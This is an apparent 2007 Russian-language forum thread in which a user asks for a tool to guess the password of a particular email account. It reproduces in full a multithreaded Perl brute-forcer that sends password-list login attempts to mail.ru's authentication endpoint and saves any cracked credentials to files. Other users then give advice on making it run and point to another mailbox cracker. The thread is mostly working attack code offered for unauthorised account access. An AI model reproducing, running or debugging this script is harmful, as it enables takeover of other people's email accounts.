брутфорс на Perl
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
брутфорс на Perl - 2007-06-03 20:59:33.790000
|
|
|
dew
Сообщений: 316
Оценки: 0
Присоединился: 2006-12-09 21:39:29.470000
|
люди, помогите, срочно нужен исходни к брутфорса, подбирающего пароль к определенному почтовому ящику! я один в инете нашел, залил на шел а он при выполнении пишет такую ошибку:
mail-ru.pl line 4:
This Perl hasn't been configured and built properly for the threads
module to work. (The 'useithreads' configuration option hasn't been used.)
Having threads support requires all of Perl and all of the XS modules in
the Perl installation to be rebuilt, it is not just a question of adding
the threads module. (In other words, threaded and non-threaded Perls
are binary incompatible.)
If you want to the use the threads module, please contact the people
who built your Perl.
Cannot continue, aborting.
BEGIN failed–compilation aborted at /usr/lib64/perl5/5.8.8/x86_64-linux/threads.pm line 28.
Compilation failed in require at mail-ru.pl line 4.
BEGIN failed–compilation aborted at mail-ru.pl line 4.
Вот исходник брута который ошибку выдаёт:
#!/usr/bin/perl
use LWP::UserAgent;
use threads;
use threads::shared;
my $num : shared;
my $dyndyk : shared;
print "########## GeNoM- mail.ru bruter v 2.0 ###############\n";
my $ua = LWP::UserAgent->new(
max_size => 1024,
agent => 'kakep brayzer v 9.1.1',
timeout => 30,
);
$thread=5; # количество потоков
$num=$thread;
$time=localtime;
print "Start brute in $time\n\n";
open(pass,"<pass.txt");
while ($password=<pass>) {
$password=~s/\n//;
@passs[$ee]=$password;$ee++;}
close pass;
open(mails,"<mail.txt");
while ($mails=<mails>) {
$mails=~s/\n//;
@maliss[$mm]=$mails;$mm++;}
close mails;
foreach $str(@maliss){
for(1..$thread){
$got=$got+50; # каждый поток обрабатывает 50 паролей и умирает это сделано дя более быстрого завершения потоков после нахождения пароля
threads->create(\&brut);
}
badd:
if($num<$thread){$got=$got+50;
threads->create(\&brut)};
sleep(1); # время между проверкой количества потоков
if($dyndyk==55|$got>$ee){goto(end);};
goto(badd);
end:
$xz="\n*********** йухха пароль подобран зырь brute-mail.txt**************\n завершаем остальные потоки и идем дальше\n";$xz=~tr/а-я/\x80-\x9f/;print "$xz";
foreach(threads->list) { $_->join } # ждем оконания остальных потоков и идем дальше
$dyndyk=1;
}
sub brut {
($login,$domain)=split(/\@/,$str);
print"Send login->$login and domain->$domain and pass->@passs[$got]\n\n";
for($p=1;$p<=50;$p++){
$password=@passs[$got-$p];
if(length($password)==0|$dyndyk==55){goto(proskok)}
my $req = HTTP::Request->new(POST => 'http://win.mail.ru/cgi-bin/auth');
$req->content("page=&post=&login_from=http://mail.ru/&Login=$login&Domain=$domain&Password=$password");
$req->referer('http://win.mail.ru/cgi-bin/auth');
my $res = $ua->request($req);
$yda4a=$res->as_string;
if ($yda4a=~m/500 Can't connect/==1) {print "$yda4a\n";exit;}
if ($yda4a=~m/checkcookie/==1) {$dyndyk=55; print "For $login\@$domain password->$password\n";
open brut, ">>brute-mail.txt";print brut "$login\@$domain password->$password\n";close brut;
open logg,">>log.txt";print logg "For $login\@$domain password->$password\n";close logg;
}
proskok:
}
$num–;
}
|
|
|
|
|
RE: брутфорс на Perl - 2007-06-03 20:59:56.336666
|
|
|
dew
Сообщений: 316
Оценки: 0
Присоединился: 2006-12-09 21:39:29.470000
|
Подскажите что делать?
|
|
|
|
|
RE: брутфорс на Perl - 2007-06-10 14:37:30.700000
|
|
|
rgo
Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
|
надо из скрипта убрать многопоточность. или пересобрать перл с поддержкой многопоточности. там всё написано.
|
|
|
|
|
RE: брутфорс на Perl - 2007-06-10 16:58:47.643333
|
|
|
blonx
Сообщений: 1150
Оценки: 0
Присоединился: 2006-04-01 03:28:42
|
quote:
ORIGINAL: rgo
надо из скрипта убрать многопоточность. или пересобрать перл с поддержкой многопоточности. там всё написано.
Я думаю многопоточность убирать не стоит, тем более для брутфорса, а самый оптимальный вариант - просто пересобрать threads.pm. А так я где-то встречал и прогу (на С) для брута мыльников посмотри ЗДЕСЬ, уже обсуждалось.
|
|
|
|
|
|
